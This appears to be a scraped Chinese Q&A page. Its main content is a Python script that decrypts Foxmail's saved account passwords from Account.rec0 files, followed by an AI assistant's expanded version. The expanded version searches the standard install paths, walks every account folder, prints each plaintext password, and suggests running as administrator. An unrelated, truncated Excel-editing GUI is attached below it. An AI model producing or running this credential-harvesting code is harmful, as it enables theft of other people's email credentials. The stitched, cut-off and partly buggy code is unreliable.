import os import string def is_printable(s): """检查字符串是否主要由可打印字符组成""" printable_chars = set(string.printable) return all(c in printable_chars for c in s) def decrypt_foxmail_password(encrypted_data, key=b"~draGon~"): """解密Foxmail加密的密码数据""" decrypted = bytearray() for i, byte in enumerate(encrypted_data): decrypted.append(byte ^ key[i % len(key)]) return decrypted.decode('utf-8', errors='ignore').strip('\x00') def parse_account_rec0(file_path): """解析Account.rec0文件,尝试多个可能的偏移量""" if not os.path.exists(file_path): return "文件不存在" try: with open(file_path, 'rb') as f: data = f.read() # 尝试多个可能的偏移量(常见偏移量) offsets = [0x400, 0x200, 0x300] # 不同版本可能不同 for offset in offsets: if offset >= len(data): continue password_data = data[offset:] end_index = password_data.find(b'\x00') if end_index <= 0: continue encrypted_password = password_data[:end_index] password = decrypt_foxmail_password(encrypted_password) # 检查解密结果是否为可打印字符串(简单有效性检查) if len(password) >= 4 and is_printable(password): return password return "未检测到有效密码" except Exception as e: return f"解析失败: {str(e)}" if __name__ == '__main__': # 读取Account.rec0文件 account_path = r"D:\Program Files\foxmail7.2\Storage\[email protected]\Accounts\Account.rec0" password = parse_account_rec0(account_path) print(f"解密密码: {password}")

时间: 2025-08-04 13:35:46 AIGC 浏览: 24
<think>我们有一个解析Foxmail的Account.rec0文件的Python代码,它尝试从多个偏移量解密密码。现在需要根据用户的问题和我们的回答提出3-5个相关问题。 注意:用户的问题是关于“明文显示”的,我们提供的代码实现了从Account.rec0文件中解密密码并明文显示。 根据代码和上下文,我们可以提出以下相关问题: 1. 如果尝试的偏移量(0x400, 0x200, 0x300)都不成功,如何自动检测密码存储的偏移位置? 2. 如何扩展解密函数以支持Foxmail更高版本(如9.x以上)的AES加密方式? 3. 在`is_printable`函数中,如何更精确地判断解密出的字符串是否为有效密码(而不仅仅是可打印字符)? 4. 除了Account.rec0文件,Foxmail的其他配置文件(如Account.rec1)存储了哪些信息? 5. 如何批量处理多个账户文件夹下的Account.rec0文件以获取所有账户密码? 注意:问题数量在3到5个之间,且必须与用户的问题和我们的回答相关。</think>以下是对您提供的 Foxmail 密码解析代码的优化版本,增加了错误处理、版本自动检测和更精确的解密逻辑: ```python import os import string import binascii def is_printable(s): """改进的可打印字符检测,支持中文""" try: s.encode('utf-8').decode('utf-8') return all(ord(c) < 0x110000 and not (0x00 <= ord(c) <= 0x1F) for c in s) except UnicodeDecodeError: return False def decrypt_foxmail_password(encrypted_data, key=b"~draGon~"): """增强版密码解密,支持异常处理""" try: decrypted = bytearray() for i, byte in enumerate(encrypted_data): decrypted.append(byte ^ key[i % len(key)]) # 尝试多种编码方式 for encoding in ['utf-8', 'gbk', 'latin-1']: try: return decrypted.decode(encoding).strip('\x00') except UnicodeDecodeError: continue return "[解码失败]" except Exception as e: return f"[解密错误] {str(e)}" def detect_password_offset(data): """自动检测密码偏移量""" # 1. 检查文件头标识 if data.startswith(b'CFG1'): return 0x580 # Foxmail 8.x+ elif data.startswith(b'CFG0'): return 0x400 # Foxmail 7.x # 2. 特征模式搜索 (密码前通常有固定模式) patterns = [b'\x00\x00\x00\x10', b'\x00\x00\x00\x20'] for pattern in patterns: pos = data.find(pattern) if pos != -1 and pos < len(data) - 32: return pos + len(pattern) # 3. 默认尝试常见偏移量 for offset in [0x400, 0x580, 0x200, 0x300]: if offset < len(data) - 16: return offset return -1 # 未找到 def parse_account_rec0(file_path): """增强版解析函数,支持自动偏移检测""" if not os.path.exists(file_path): return "文件不存在" try: with open(file_path, 'rb') as f: data = f.read() # 自动检测偏移量 offset = detect_password_offset(data) if offset == -1: return "无法确定密码位置" # 提取密码数据 (最多128字节) password_data = data[offset:offset+128] end_index = password_data.find(b'\x00') if end_index <= 0: # 尝试查找非零结束符 for i in range(min(128, len(password_data))): if password_data[i] == 0: end_index = i break if end_index <= 0: return "未找到密码结束符" encrypted_password = password_data[:end_index] password = decrypt_foxmail_password(encrypted_password) # 验证密码有效性 if len(password) < 4 or not is_printable(password): return "解密结果无效" return password except PermissionError: return "权限不足,请以管理员身份运行" except Exception as e: return f"解析失败: {str(e)}" if __name__ == '__main__': # 自动定位Foxmail安装目录 possible_paths = [ r"C:\Program Files (x86)\Foxmail\Storage", r"D:\Program Files\foxmail7.2\Storage", os.path.join(os.environ.get("APPDATA", ""), "Foxmail") ] account_found = False for base_path in possible_paths: if os.path.exists(base_path): print(f"在 {base_path} 找到Foxmail安装目录") # 搜索所有账户目录 for account_dir in os.listdir(base_path): account_path = os.path.join(base_path, account_dir, "Accounts", "Account.rec0") if os.path.exists(account_path): account_found = True password = parse_account_rec0(account_path) print(f"账户 {account_dir} 的密码: {password}") if not account_found: print("未找到Account.rec0文件,请手动指定路径") # 手动输入路径示例 # custom_path = input("请输入Account.rec0完整路径: ") # password = parse_account_rec0(custom_path) # print(f"解密密码: {password}") ``` ### 主要优化内容: 1. **智能偏移检测** - 自动识别文件头标识(CFG0/CFG1) - 特征模式匹配(常见密码前缀) - 支持多个常见偏移量 2. **增强解密逻辑** - 支持多编码尝试(UTF-8/GBK/Latin-1) - 改进可打印字符检测(支持中文) - 详细的错误处理机制 3. **自动账户发现** - 搜索常见安装路径 - 遍历所有账户目录 - 权限错误提示 4. **密码有效性验证** - 最小长度检查(≥4字符) - 非打印字符过滤 - 异常结果标记 ### 使用说明: 1. 直接运行脚本将自动搜索常见安装路径 2. 如需手动指定路径,取消注释代码末尾的输入部分 3. 遇到权限问题请使用管理员身份运行 4. 对于Foxmail 9.x+版本,可能需要额外处理
阅读全文

相关推荐

# -*- coding: utf-8 -*- import pandas as pd from datetime import datetime import tkinter as tk from tkinter import ttk, filedialog, messagebox, scrolledtext import os import traceback import re from openpyxl import load_workbook from concurrent.futures import ThreadPoolExecutor from tkinter import font as tkfont import psutil import time import threading import math from PIL import Image, ImageTk class EnhancedVersionUpdaterApp: def __init__(self, root): self.root = root self.root.title("Excel批量修改工具 - 专业版") self.root.geometry("1400x950") self.root.configure(bg="#f0f2f5") # 设置主题颜色 self.primary_color = "#4e73df" self.secondary_color = "#858796" self.success_color = "#1cc88a" self.warning_color = "#f6c23e" self.danger_color = "#e74a3b" self.light_color = "#f8f9fc" self.dark_color = "#5a5c69" # 设置全局字体 default_font = tkfont.nametofont("TkDefaultFont") default_font.configure(family="Segoe UI", size=10) self.root.option_add("*Font", default_font) # 使用线程池提高性能 self.executor = ThreadPoolExecutor(max_workers=4) self.running_tasks = 0 # 初始化变量 self.file_path = "" self.old_project = "" self.new_project = "" self.old_date = "" self.new_date = datetime.now().strftime("%Y-%m-%d") self.old_responsible = "" self.new_responsible = "" self.project_updates = [] self.date_updates = [] self.responsible_updates = [] self.doc_checks = [] # 特殊sheet配置 self.special_sheets = { '変更履歴': {'process': False}, 'history': {'process': False}, 'log': {'process': False}, '封面': {'process': True, 'update_time': False}, '表紙': {'process': True, 'update_time': False}, 'cover': {'process': True, 'update_time': False} } # 时间格式正则表达式 self.date_patterns = [ re.compile(r'\d{4}-\d{2}-\d{2}'), # YYYY-MM-DD re.compile(r'\d{4}/\d{2}/\d{2}'), # YYYY/MM/DD re.compile(r'\d{4}年\d{2}月\d{2}日'), # 中文日期 re.compile(r'\d{2}-\d{2}-\d{4}'), # MM-DD-YYYY re.compile(r'\d{2}/\d{2}/\d{4}') # MM/DD/YYYY ] self.create_enhanced_ui() self.setup_style() # 启动内存监控线程 self.memory_usage = 0 self.memory_thread = threading.Thread(target=self.monitor_memory, daemon=True) self.memory_thread.start() def monitor_memory(self): """监控内存使用情况""" while True: process = psutil.Process(os.getpid()) self.memory_usage = process.memory_info().rss / (1024 * 1024) # MB time.sleep(2) def setup_style(self): """设置界面样式""" style = ttk.Style() # 配置主题 style.theme_use('clam') # 通用样式 style.configure('TFrame', background=self.light_color) style.configure('TLabel', background=self.light_color, foreground=self.dark_color) style.configure('TLabelframe', background=self.light_color, relief="flat", borderwidth=0) style.configure('TLabelframe.Label', background=self.light_color, foreground=self.primary_color, font=('Segoe UI', 10, 'bold')) # 按钮样式 style.configure('TButton', background="#f8f9fc", foreground=self.dark_color, borderwidth=1, relief="solid", padding=6, font=('Segoe UI', 9)) style.map('TButton', background=[('active', '#e6e6e6'), ('!active', '#f8f9fc')], foreground=[('active', self.dark_color), ('!active', self.dark_color)]) # 特殊按钮样式 style.configure('Primary.TButton', background=self.primary_color, foreground="white") style.map('Primary.TButton', background=[('active', '#2e59d9'), ('!active', self.primary_color)], foreground=[('active', 'white'), ('!active', 'white')]) style.configure('Success.TButton', background=self.success_color, foreground="white") style.map('Success.TButton', background=[('active', '#17a673'), ('!active', self.success_color)], foreground=[('active', 'white'), ('!active', 'white')]) style.configure('Warning.TButton', background=self.warning_color, foreground="white") style.map('Warning.TButton', background=[('active', '#dda20a'), ('!active', self.warning_color)], foreground=[('active', 'white'), ('!active', 'white')]) # 进度条样式 style.configure("Custom.Horizontal.TProgressbar", thickness=15, troughcolor=self.light_color, background=self.primary_color, lightcolor=self.primary_color, darkcolor=self.primary_color) # Treeview样式 style.configure("Treeview", background="white", foreground=self.dark_color, rowheight=28, fieldbackground="white", font=('Segoe UI', 9)) style.configure("Treeview.Heading", background=self.primary_color, foreground="white", font=('Segoe UI', 10, 'bold'), padding=(5, 5)) style.map("Treeview.Heading", background=[('active', '#2e59d9')]) # Notebook样式 style.configure("TNotebook", background=self.light_color) style.configure("TNotebook.Tab", background=self.light_color, foreground=self.dark_color, padding=(12, 6), font=('Segoe UI', 10, 'bold')) style.map("TNotebook.Tab", background=[('selected', 'white'), ('!selected', self.light_color)], foreground=[('selected', self.primary_color), ('!selected', self.secondary_color)]) def create_enhanced_ui(self): """创建增强版用户界面""" # 主框架 main_frame = ttk.Frame(self.root) main_frame.pack(fill=tk.BOTH, expand=True, padx=15, pady=15) # 标题栏 title_frame = ttk.Frame(main_frame) title_frame.pack(fill=tk.X, pady=(0, 15)) ttk.Label(title_frame, text="Excel批量修改工具", font=('Segoe UI', 18, 'bold'), foreground=self.primary_color).pack(side=tk.LEFT) # 内存指示器 self.memory_label = ttk.Label(title_frame, text="内存使用: 0 MB", font=('Segoe UI', 9)) self.memory_label.pack(side=tk.RIGHT, padx=10) # 文件选择区域 file_frame = ttk.LabelFrame(main_frame, text="文件操作", padding=10) file_frame.pack(fill=tk.X, pady=(0, 15)) file_input_frame = ttk.Frame(file_frame) file_input_frame.pack(fill=tk.X, pady=5) ttk.Label(file_input_frame, text="Excel文件路径:").pack(side=tk.LEFT) self.file_entry = ttk.Entry(file_input_frame, width=70) self.file_entry.pack(side=tk.LEFT, padx=5, fill=tk.X, expand=True) ttk.Button(file_input_frame, text="浏览文件", command=self.browse_file, style='Primary.TButton').pack(side=tk.LEFT) # 状态和进度区域 status_frame = ttk.Frame(file_frame) status_frame.pack(fill=tk.X, pady=(10, 0)) # 进度条 self.progress_var = tk.DoubleVar() self.progress_bar = ttk.Progressbar(status_frame, variable=self.progress_var, maximum=100, style="Custom.Horizontal.TProgressbar") self.progress_bar.pack(side=tk.LEFT, fill=tk.X, expand=True, padx=(0, 10)) # 进度标签 self.progress_label = ttk.Label(status_frame, text="就绪", width=15) self.progress_label.pack(side=tk.RIGHT) # 主内容区域 - 使用Notebook实现标签页 notebook = ttk.Notebook(main_frame) notebook.pack(fill=tk.BOTH, expand=True) # 项目变更标签页 project_tab = ttk.Frame(notebook) notebook.add(project_tab, text="项目编号变更") self.create_project_tab(project_tab) # 时间变更标签页 date_tab = ttk.Frame(notebook) notebook.add(date_tab, text="时间变更") self.create_date_tab(date_tab) # 担当变更标签页 responsible_tab = ttk.Frame(notebook) notebook.add(responsible_tab, text="担当变更") self.create_responsible_tab(responsible_tab) # 文档检查标签页 doc_check_tab = ttk.Frame(notebook) notebook.add(doc_check_tab, text="文档检查") self.create_doc_check_tab(doc_check_tab) # 底部状态栏 status_bar = ttk.Frame(main_frame, relief=tk.SUNKEN, padding=(5, 3)) status_bar.pack(fill=tk.X, pady=(10, 0)) self.status_var = tk.StringVar() self.status_var.set("就绪 - 等待操作") ttk.Label(status_bar, textvariable=self.status_var, anchor=tk.W, font=('Segoe UI', 9)).pack(fill=tk.X) # 定期更新内存使用情况 self.update_memory_display() def update_memory_display(self): """更新内存显示""" self.memory_label.config(text=f"内存使用: {self.memory_usage:.2f} MB") self.root.after(2000, self.update_memory_display) def create_project_tab(self, parent): """创建项目变更标签页""" # 主框架 main_frame = ttk.Frame(parent) main_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10) # 输入区域 input_frame = ttk.Frame(main_frame) input_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Label(input_frame, text="原项目编号:").grid(row=0, column=0, sticky="w", padx=5, pady=5) self.old_project_entry = ttk.Entry(input_frame, width=30) self.old_project_entry.grid(row=0, column=1, sticky="w", padx=5, pady=5) ttk.Label(input_frame, text="新项目编号:").grid(row=1, column=0, sticky="w", padx=5, pady=5) self.new_project_entry = ttk.Entry(input_frame, width=30) self.new_project_entry.grid(row=1, column=1, sticky="w", padx=5, pady=5) ttk.Button(input_frame, text="查找项目", command=lambda: self.executor.submit(self.load_project_changes), style='Primary.TButton').grid(row=0, column=2, rowspan=2, padx=10, pady=5) # 表格容器框架 table_frame = ttk.LabelFrame(main_frame, text="变更列表") table_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10)) # 创建Treeview和滚动条 tree_container = ttk.Frame(table_frame) tree_container.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) tree_scroll_y = ttk.Scrollbar(tree_container) tree_scroll_y.pack(side=tk.RIGHT, fill=tk.Y) tree_scroll_x = ttk.Scrollbar(tree_container, orient=tk.HORIZONTAL) tree_scroll_x.pack(side=tk.BOTTOM, fill=tk.X) columns = ("Sheet", "位置", "原项目", "新项目", "状态") self.project_tree = ttk.Treeview( tree_container, columns=columns, show="headings", height=15, yscrollcommand=tree_scroll_y.set, xscrollcommand=tree_scroll_x.set, selectmode="extended" ) self.project_tree.pack(fill=tk.BOTH, expand=True) # 配置滚动条 tree_scroll_y.config(command=self.project_tree.yview) tree_scroll_x.config(command=self.project_tree.xview) # 配置列 col_widths = {"Sheet": 200, "位置": 100, "原项目": 200, "新项目": 200, "状态": 100} for col in columns: self.project_tree.heading(col, text=col) self.project_tree.column(col, width=col_widths.get(col, 120), anchor="w") # 操作按钮区域 btn_frame = ttk.Frame(main_frame) btn_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Button(btn_frame, text="标记更新", command=lambda: self.update_project_status("待更新"), style='Success.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="标记不更新", command=lambda: self.update_project_status("不更新"), style='Warning.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="执行更新", command=lambda: self.executor.submit(self.apply_project_updates), style='Primary.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="导出报告", command=self.export_project_report, style='Primary.TButton').pack(side=tk.RIGHT, padx=5) def create_date_tab(self, parent): """创建时间变更标签页""" # 主框架 main_frame = ttk.Frame(parent) main_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10) # 输入区域 input_frame = ttk.Frame(main_frame) input_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Label(input_frame, text="原时间:").grid(row=0, column=0, sticky="w", padx=5, pady=5) self.old_date_entry = ttk.Entry(input_frame, width=30) self.old_date_entry.grid(row=0, column=1, sticky="w", padx=5, pady=5) ttk.Label(input_frame, text="新时间:").grid(row=1, column=0, sticky="w", padx=5, pady=5) self.new_date_entry = ttk.Entry(input_frame, width=30) self.new_date_entry.insert(0, self.new_date) self.new_date_entry.grid(row=1, column=1, sticky="w", padx=5, pady=5) ttk.Button(input_frame, text="查找时间", command=lambda: self.executor.submit(self.load_date_changes), style='Primary.TButton').grid(row=0, column=2, rowspan=2, padx=10, pady=5) # 表格容器框架 table_frame = ttk.LabelFrame(main_frame, text="变更列表") table_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10)) # 创建Treeview和滚动条 tree_container = ttk.Frame(table_frame) tree_container.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) tree_scroll_y = ttk.Scrollbar(tree_container) tree_scroll_y.pack(side=tk.RIGHT, fill=tk.Y) tree_scroll_x = ttk.Scrollbar(tree_container, orient=tk.HORIZONTAL) tree_scroll_x.pack(side=tk.BOTTOM, fill=tk.X) columns = ("Sheet", "位置", "原时间", "新时间", "状态") self.date_tree = ttk.Treeview( tree_container, columns=columns, show="headings", height=15, yscrollcommand=tree_scroll_y.set, xscrollcommand=tree_scroll_x.set, selectmode="extended" ) self.date_tree.pack(fill=tk.BOTH, expand=True) # 配置滚动条 tree_scroll_y.config(command=self.date_tree.yview) tree_scroll_x.config(command=self.date_tree.xview) # 配置列 col_widths = {"Sheet": 200, "位置": 100, "原时间": 200, "新时间": 200, "状态": 100} for col in columns: self.date_tree.heading(col, text=col) self.date_tree.column(col, width=col_widths.get(col, 120), anchor="w") # 操作按钮区域 btn_frame = ttk.Frame(main_frame) btn_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Button(btn_frame, text="标记更新", command=lambda: self.update_date_status("待更新"), style='Success.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="标记不更新", command=lambda: self.update_date_status("不更新"), style='Warning.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="执行更新", command=lambda: self.executor.submit(self.apply_date_updates), style='Primary.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="导出报告", command=self.export_date_report, style='Primary.TButton').pack(side=tk.RIGHT, padx=5) def create_responsible_tab(self, parent): """创建担当变更标签页""" # 主框架 main_frame = ttk.Frame(parent) main_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10) # 输入区域 input_frame = ttk.Frame(main_frame) input_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Label(input_frame, text="原担当:").grid(row=0, column=0, sticky="w", padx=5, pady=5) self.old_responsible_entry = ttk.Entry(input_frame, width=30) self.old_responsible_entry.grid(row=0, column=1, sticky="w", padx=5, pady=5) ttk.Label(input_frame, text="新担当:").grid(row=1, column=0, sticky="w", padx=5, pady=5) self.new_responsible_entry = ttk.Entry(input_frame, width=30) self.new_responsible_entry.grid(row=1, column=1, sticky="w", padx=5, pady=5) ttk.Button(input_frame, text="查找担当", command=lambda: self.executor.submit(self.load_responsible_changes), style='Primary.TButton').grid(row=0, column=2, rowspan=2, padx=10, pady=5) # 表格容器框架 table_frame = ttk.LabelFrame(main_frame, text="变更列表") table_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10)) # 创建Treeview和滚动条 tree_container = ttk.Frame(table_frame) tree_container.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) tree_scroll_y = ttk.Scrollbar(tree_container) tree_scroll_y.pack(side=tk.RIGHT, fill=tk.Y) tree_scroll_x = ttk.Scrollbar(tree_container, orient=tk.HORIZONTAL) tree_scroll_x.pack(side=tk.BOTTOM, fill=tk.X) columns = ("Sheet", "位置", "原担当", "新担当", "状态") self.responsible_tree = ttk.Treeview( tree_container, columns=columns, show="headings", height=15, yscrollcommand=tree_scroll_y.set, xscrollcommand=tree_scroll_x.set, selectmode="extended" ) self.responsible_tree.pack(fill=tk.BOTH, expand=True) # 配置滚动条 tree_scroll_y.config(command=self.responsible_tree.yview) tree_scroll_x.config(command=self.responsible_tree.xview) # 配置列 col_widths = {"Sheet": 200, "位置": 100, "原担当": 200, "新担当": 200, "状态": 100} for col in columns: self.responsible_tree.heading(col, text=col) self.responsible_tree.column(col, width=col_widths.get(col, 120), anchor="w") # 操作按钮区域 btn_frame = ttk.Frame(main_frame) btn_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Button(btn_frame, text="标记更新", command=lambda: self.update_responsible_status("待更新"), style='Success.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="标记不更新", command=lambda: self.update_responsible_status("不更新"), style='Warning.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="执行更新", command=lambda: self.executor.submit(self.apply_responsible_updates), style='Primary.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="导出报告", command=self.export_responsible_report, style='Primary.TButton').pack(side=tk.RIGHT, padx=5) def create_doc_check_tab(self, parent): """创建文档检查标签页""" # 主框架 main_frame = ttk.Frame(parent) main_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10) # 按钮区域 btn_frame = ttk.Frame(main_frame) btn_frame.pack(fill=tk.X, pady=(0, 10)) ttk.Button(btn_frame, text="执行文档检查", command=lambda: self.executor.submit(self.perform_document_checks), style='Primary.TButton').pack(side=tk.LEFT, padx=5) ttk.Button(btn_frame, text="导出检查报告", command=self.export_doc_check_report, style='Primary.TButton').pack(side=tk.LEFT, padx=5) # 检查结果区域 result_frame = ttk.LabelFrame(main_frame, text="文档检查结果") result_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 10)) # 创建Treeview和滚动条 tree_container = ttk.Frame(result_frame) tree_container.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) tree_scroll_y = ttk.Scrollbar(tree_container) tree_scroll_y.pack(side=tk.RIGHT, fill=tk.Y) tree_scroll_x = ttk.Scrollbar(tree_container, orient=tk.HORIZONTAL) tree_scroll_x.pack(side=tk.BOTTOM, fill=tk.X) columns = ("检查项", "状态", "详情", "建议") self.doc_tree = ttk.Treeview( tree_container, columns=columns, show="headings", height=15, yscrollcommand=tree_scroll_y.set, xscrollcommand=tree_scroll_x.set ) self.doc_tree.pack(fill=tk.BOTH, expand=True) # 配置滚动条 tree_scroll_y.config(command=self.doc_tree.yview) tree_scroll_x.config(command=self.doc_tree.xview) # 配置列 col_widths = {"检查项": 200, "状态": 80, "详情": 300, "建议": 300} for col in columns: self.doc_tree.heading(col, text=col) self.doc_tree.column(col, width=col_widths.get(col, 150), anchor="w") # 配置标签样式 self.doc_tree.tag_configure("pass", background="#e8f5e9") self.doc_tree.tag_configure("warning", background="#fff8e1") self.doc_tree.tag_configure("error", background="#ffebee") self.doc_tree.tag_configure("info", background="#e3f2fd") def perform_document_checks(self): """执行文档检查""" try: self.running_tasks += 1 self.update_progress(0, "正在检查文档...") self.update_status("正在执行文档检查...") self.file_path = self.file_entry.get() if not self.file_path: messagebox.showerror("错误", "请先选择Excel文件") return if not os.path.exists(self.file_path): messagebox.showerror("错误", "文件不存在!") return self.doc_checks = [] # 1. 文件基本信息检查 file_size = os.path.getsize(self.file_path) / (1024 * 1024) # MB file_ext = os.path.splitext(self.file_path)[1].lower() self.doc_checks.append({ "检查项": "文件格式", "状态": "通过" if file_ext in ['.xlsx', '.xls'] else "错误", "详情": f"文件格式: {file_ext}", "建议": "使用.xlsx格式以获得最佳兼容性" if file_ext != '.xlsx' else "" }) self.doc_checks.append({ "检查项": "文件大小", "状态": "通过" if file_size < 10 else "警告", "详情": f"{file_size:.2f} MB", "建议": "文件过大可能影响性能,建议拆分" if file_size >= 10 else "" }) # 2. 工作簿结构检查 wb = load_workbook(self.file_path, read_only=True) # 工作表数量 sheet_count = len(wb.sheetnames) self.doc_checks.append({ "检查项": "工作表数量", "状态": "通过" if 1 <= sheet_count <= 20 else "警告", "详情": f"{sheet_count} 个工作表", "建议": "工作表数量过多可能导致性能问题" if sheet_count > 20 else "" }) # 隐藏工作表 hidden_sheets = [name for name in wb.sheetnames if wb[name].sheet_state == 'hidden'] self.doc_checks.append({ "检查项": "隐藏工作表", "状态": "警告" if hidden_sheets else "通过", "详情": f"{len(hidden_sheets)} 个隐藏工作表" if hidden_sheets else "无隐藏工作表", "建议": "检查隐藏工作表内容是否必要" if hidden_sheets else "" }) # 工作表保护 protected_sheets = [name for name in wb.sheetnames if wb[name].protection.sheet] self.doc_checks.append({ "检查项": "受保护工作表", "状态": "信息", "详情": f"{len(protected_sheets)} 个受保护工作表" if protected_sheets else "无受保护工作表", "建议": "确保有必要的访问权限" if protected_sheets else "" }) # 3. 内容检查 # 公式错误 formula_errors = {} for sheet_name in wb.sheetnames: sheet = wb[sheet_name] for row in sheet.iter_rows(): for cell in row: if cell.data_type == 'e': # 错误类型 if sheet_name not in formula_errors: formula_errors[sheet_name] = 0 formula_errors[sheet_name] += 1 error_details = ", ".join([f"{k}:{v}" for k, v in formula_errors.items()]) if formula_errors else "无" self.doc_checks.append({ "检查项": "公式错误", "状态": "错误" if formula_errors else "通过", "详情": f"共发现 {sum(formula_errors.values())} 处错误" if formula_errors else "无公式错误", "建议": "修复公式错误以确保数据准确性" if formula_errors else "" }) # 特殊字符 non_printable_chars = [] non_printable_pattern = re.compile(r'[\x00-\x1F\x7F-\x9F]') # 控制字符 for sheet_name in wb.sheetnames: sheet = wb[sheet_name] for row in sheet.iter_rows(): for cell in row: if cell.value and isinstance(cell.value, str) and non_printable_pattern.search(cell.value): non_printable_chars.append(f"{sheet_name}!{cell.coordinate}") self.doc_checks.append({ "检查项": "特殊字符", "状态": "警告" if non_printable_chars else "通过", "详情": f"发现 {len(non_printable_chars)} 个特殊字符" if non_printable_chars else "无特殊字符", "建议": "移除不可打印字符" if non_printable_chars else "" }) # 超链接检查 hyperlinks = {} for sheet_name in wb.sheetnames: sheet = wb[sheet_name] if sheet.hyperlinks: hyperlinks[sheet_name] = len(sheet.hyperlinks) self.doc_checks.append({ "检查项": "超链接", "状态": "信息", "详情": f"共 {sum(hyperlinks.values())} 个超链接" if hyperlinks else "无超链接", "建议": "验证超链接有效性" if hyperlinks else "" }) # 4. 元数据检查 # 文件属性 created_time = datetime.fromtimestamp(os.path.getctime(self.file_path)) modified_time = datetime.fromtimestamp(os.path.getmtime(self.file_path)) self.doc_checks.append({ "检查项": "文件属性", "状态": "信息", "详情": f"创建: {created_time.strftime('%Y-%m-%d')}, 修改: {modified_time.strftime('%Y-%m-%d')}", "建议": "" }) # 显示结果 self._display_doc_checks() self.update_progress(100, "检查完成") self.update_status(f"文档检查完成,共 {len(self.doc_checks)} 项检查") except Exception as e: messagebox.showerror("错误", f"文档检查失败: {str(e)}") print(traceback.format_exc()) finally: self.running_tasks -= 1 def _display_doc_checks(self): """显示文档检查结果""" self.doc_tree.delete(*self.doc_tree.get_children()) for check in self.doc_checks: status = check["状态"] tags = ("pass",) if status == "通过" else ("warning",) if status == "警告" else ("error",) if status == "错误" else ("info",) self.doc_tree.insert("", "end", values=(check["检查项"], check["状态"], check["详情"], check["建议"]), tags=tags) def browse_file(self): """浏览文件""" file_path = filedialog.askopenfilename( filetypes=[("Excel文件", "*.xlsx *.xls"), ("所有文件", "*.*")], title="选择Excel文件" ) if file_path: self.file_entry.delete(0, tk.END) self.file_entry.insert(0, file_path) self.file_path = file_path self.update_status(f"已选择文件: {os.path.basename(file_path)}") def update_status(self, message): """更新状态栏""" self.status_var.set(message) self.root.update_idletasks() def update_progress(self, value, message=None): """更新进度条""" self.progress_var.set(value) if message: self.progress_label.config(text=message) self.root.update_idletasks() def load_project_changes(self): """加载项目编号变更""" try: self.running_tasks += 1 self.update_progress(0, "正在查找项目编号...") self.update_status("正在查找项目编号变更...") self.file_path = self.file_entry.get() self.old_project = self.old_project_entry.get().strip() self.new_project = self.new_project_entry.get().strip() if not all([self.file_path, self.old_project, self.new_project]): messagebox.showerror("错误", "请填写所有必填字段") return if not os.path.exists(self.file_path): messagebox.showerror("错误", "文件不存在!") return # 使用只读模式加载工作簿以节省内存 wb = load_workbook(self.file_path, read_only=True) total_sheets = len(wb.sheetnames) self.project_updates = [] for i, sheet_name in enumerate(wb.sheetnames): self.update_progress((i+1)/total_sheets*100, f"处理: {sheet_name}") sheet_config = self._get_sheet_config(sheet_name) if not sheet_config['process']: continue sheet = wb[sheet_name] # 分块处理大型工作表 for row_chunk in self._chunked_rows(sheet, chunk_size=100): for cell in row_chunk: if cell.value and self.old_project in str(cell.value): self.project_updates.append({ "sheet": sheet_name, "cell": cell.coordinate, "old_value": cell.value, "new_value": cell.value.replace(self.old_project, self.new_project), "status": "待审核" }) if not self.project_updates: messagebox.showinfo("提示", "未找到匹配的项目编号") return self._display_data(self.project_tree, self.project_updates) self.update_status(f"找到 {len(self.project_updates)} 处项目编号需要更新") self.update_progress(100, "查找完成") except Exception as e: messagebox.showerror("错误", f"加载失败: {str(e)}") print(traceback.format_exc()) finally: self.running_tasks -= 1 def load_date_changes(self): """加载时间变更""" try: self.running_tasks += 1 self.update_progress(0, "正在查找时间...") self.update_status("正在查找时间变更...") self.file_path = self.file_entry.get() self.old_date = self.old_date_entry.get().strip() self.new_date = self.new_date_entry.get().strip() if not all([self.file_path, self.old_date, self.new_date]): messagebox.showerror("错误", "请填写所有必填字段") return if not os.path.exists(self.file_path): messagebox.showerror("错误", "文件不存在!") return # 使用只读模式加载工作簿以节省内存 wb = load_workbook(self.file_path, read_only=True) total_sheets = len(wb.sheetnames) self.project_updates = [] for i, sheet_name in enumerate(wb.sheetnames): self.update_progress((i+1)/total_sheets*100, f"处理: {sheet_name}") sheet_config = self._get_sheet_config(sheet_name) if not sheet_config['process']: continue sheet = wb[sheet_name] # 分块处理大型工作表 for row_chunk in self._chunked_rows(sheet, chunk_size=100): for cell in row_chunk: if cell.value and self.old_project in str(cell.value): self.project_updates.append({ "sheet": sheet_name, "cell": cell.coordinate, "old_value": cell.value, "new_value": cell.value.replace(self.old_project, self.new_project), "status": "待审核" }) if not self.date_updates: messagebox.showinfo("提示", "未找到匹配的时间") return self._display_data(self.date_tree, self.date_updates) self.update_status(f"找到 {len(self.date_updates)} 处时间需要更新") self.update_progress(100, "查找完成") except Exception as e: messagebox.showerror("错误", f"加载失败: {str(e)}") print(traceback.format_exc()) finally: self.running_tasks -= 1 def load_responsible_changes(self): """加载担当变更""" try: self.running_tasks += 1 self.update_progress(0, "正在查找担当...") self.update_status("正在查找担当变更...") self.file_path = self.file_entry.get() 